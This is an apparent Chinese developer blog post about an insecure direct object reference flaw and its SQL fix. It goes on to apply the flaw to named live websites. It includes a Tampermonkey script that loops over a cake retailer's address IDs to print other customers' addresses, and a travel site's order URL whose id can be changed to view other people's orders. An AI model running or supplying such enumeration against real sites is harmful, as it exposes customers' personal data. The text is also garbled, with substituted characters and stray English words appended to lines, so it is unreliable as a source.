去年公司南山接了一個大單,因爲項目沒有相似的借鑑徹底要靠本身摸索,而後是作一版感受不行又要調整,反反覆覆修改,而後新功能又要開發,一時一我的根本忙不過來,很是頭痛,爲工做更方便乾脆安營扎山寨在客戶那邊,邊開發邊討論解決方案,天天都是半夜纔回到家。可是因爲新功能要開發,舊的版面也在作調整,而後也有些許bug要修補,一我的工做量太大了,一邊客戶要求進度快,因此不少細節就忽略了,但也這樣埋下了安全隱患。工做持續三個月左右,終因而要開發完成了,心中甚是高興,終於一個項目又要完成了。但也這個時候,客戶找一個專業測試員,專門測試系統的漏洞,以前埋下的禍根就顯現出來了,一下找到七、8個漏洞,其中包括在線支付,客戶信息的安全等。jquery
舉個栗子客戶信息是怎麼不安全的web
在查詢用戶信息的時候使用sqlsql
select top 1 * from addr where id=地址id
在正常狀況下,這個是確定是沒有問題的,用戶的地址id是惟一。可是呢,若是在web網站下,使用get請求去獲取,用戶隨便修改一個id,那麼多是獲取到別的客戶的信息了,這時候其餘客戶的信息嚴重泄露了。安全
如web地址get地址是/user/deliveryAddress/55,用戶輸入的是/user/deliveryAddress/56 session
所似咱們正確作法是,從當前登陸的session中獲取用戶id,同時使用用戶id和地址id對比,這樣纔不會出錯。測試
select top 1 * from addr where id=地址id and userid=用戶id
確保此地址的信息是當前用戶的網站
這種錯誤是否是隻我才犯過呢?其實否則ui
前幾天某蛋糕被曝不是當天新鮮製做,內部管理亂得一塌糊塗,其實以前也在他們家買過蛋糕,因而好奇去了他們官網看一下,無心中發如今用戶修改地址信息的時候也是用戶我以前的方式獲取信息/user/deliveryAddress/id 。spa
作爲一個it,以前我就犯過這種錯誤,好奇之下,我隨便修改了一個地址id,果真地址信息改變了,看到其餘用戶的信息。後來爲了驗證,我在tampermonkey上寫一個循環.net
// ==UserScript== // @name xfxb // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match https://www.xfxb.net/* // @require http://code.jquery.com/jquery-1.11.0.min.js // @grant none // ==/UserScript== (function() { 'use strict'; for(var i=1000;i<1005;i++){ $.get("/user/deliveryAddress/"+i, function(result){ console.log(result); }); } // Your code here... })();
出現瞭如下信息
輕鬆拿到其餘用戶的地址信息,看來其餘人也一樣會犯這種錯誤。
@某蛋糕網站的It,你的漏洞了該修復了
記錄踩過的坑,但願其餘人少踩到相同的坑,而且能在CNBLOGS這找到解決辦法
######################################################### 分割線 2018/12/9 ###############################################################################
持續更新
6人遊旅行網 手機版
隨便登陸一個賬號
登陸頁面:http://m.6renyou.com/member/
打開訂單頁面:
http://m.6renyou.com/ordercext/getTripList?id=246039&t=
修改訂單id更能夠查看其餘人訂單信息